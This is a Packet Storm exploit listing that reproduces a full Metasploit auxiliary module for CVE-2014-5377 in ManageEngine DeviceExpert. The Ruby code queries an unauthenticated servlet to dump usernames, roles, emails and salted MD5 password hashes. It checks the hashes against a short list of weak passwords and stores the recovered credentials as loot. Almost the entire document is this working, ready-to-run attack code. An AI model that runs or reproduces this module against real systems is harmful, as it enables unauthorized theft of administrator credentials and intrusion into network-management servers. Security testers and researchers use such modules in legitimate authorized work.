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ManageEngine DeviceExpert User Credentials

🗓️ 01 Sep 2024 00:00:00Reported by Brendan Coles, Pedro Ribeiro, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 185 Views

This module extracts usernames and salted MD5 password hashes from ManageEngine DeviceExpert version 5.9 build 5980 and prior. This module has been tested successfully on DeviceExpert version 5.9.7 build 5970

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'ManageEngine DeviceExpert User Credentials',  
'Description' => %q{  
This module extracts usernames and salted MD5 password hashes  
from ManageEngine DeviceExpert version 5.9 build 5980 and prior.  
  
This module has been tested successfully on DeviceExpert  
version 5.9.7 build 5970.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit  
'bcoles' # metasploit module  
],  
'References' =>  
[  
['EDB', '34449'],  
['OSVDB', '110522'],  
['CVE', '2014-5377']  
],  
'DisclosureDate' => '2014-08-28'))  
register_options(  
[  
Opt::RPORT(6060),  
OptBool.new('SSL', [true, 'Use SSL', true])  
])  
end  
  
def check  
get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe  
end  
  
def get_users  
users = nil  
vprint_status("Reading users from master...")  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))  
if !res  
vprint_error("Connection failed")  
elsif res.code == 404  
vprint_error("Could not find 'ReadUsersFromMasterServlet'")  
elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/  
users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)  
vprint_good("Found #{users.length} users")  
else  
vprint_error("Could not find any users")  
end  
users  
end  
  
def parse_user_data(user)  
return if user.nil?  
username = user.scan(/<username>([^<]+)</).flatten.first  
encoded_hash = user.scan(/<password>([^<]+)</).flatten.first  
role = user.scan(/<userrole>([^<]+)</).flatten.first  
mail = user.scan(/<emailid>([^<]+)</).flatten.first  
salt = user.scan(/<saltvalue>([^<]+)</).flatten.first  
hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first  
pass = nil  
['12345', 'admin', 'password', username].each do |weak_password|  
if hash == Rex::Text.md5(weak_password + salt)  
pass = weak_password  
break  
end  
end  
[username, pass, hash, role, mail, salt]  
end  
  
def run_host(ip)  
users = get_users  
return if users.nil?  
  
service_data = {  
address: rhost,  
port: rport,  
service_name: (ssl ? 'https' : 'http'),  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
cred_table = Rex::Text::Table.new(  
'Header' => 'ManageEngine DeviceExpert User Credentials',  
'Indent' => 1,  
'Columns' =>  
[  
'Username',  
'Password',  
'Password Hash',  
'Role',  
'E-mail',  
'Password Salt'  
]  
)  
  
vprint_status("Parsing user data...")  
users.each do |user|  
record = parse_user_data(user.to_s)  
next if record.join.empty?  
  
user = record[0]  
pass = record[1]  
hash = record[2]  
role = record[3]  
mail = record[4]  
salt = record[5]  
  
cred_table << [user, pass, hash, role, mail, salt]  
  
if pass  
print_good("Found weak credentials (#{user}:#{pass})")  
credential_data = {  
origin_type: :service,  
module_fullname: self.fullname,  
private_type: :password,  
private_data: pass,  
username: user  
}  
else  
credential_data = {  
origin_type: :service,  
module_fullname: self.fullname,  
private_type: :nonreplayable_hash,  
private_data: "#{salt}:#{hash}",  
username: user  
}  
end  
  
credential_data.merge!(service_data)  
credential_core = create_credential(credential_data)  
login_data = {  
core: credential_core,  
access_level: role,  
status: Metasploit::Model::Login::Status::UNTRIED  
}  
login_data.merge!(service_data)  
create_credential_login(login_data)  
  
end  
  
print_line  
print_line("#{cred_table}")  
loot_name = 'manageengine.deviceexpert.user.creds'  
loot_type = 'text/csv'  
loot_filename = 'manageengine_deviceexpert_user_creds.csv'  
loot_desc = 'ManageEngine DeviceExpert User Credentials'  
p = store_loot(  
loot_name,  
loot_type,  
rhost,  
cred_table.to_csv,  
loot_filename,  
loot_desc)  
print_status "Credentials saved in: #{p}"  
end  
end  
`

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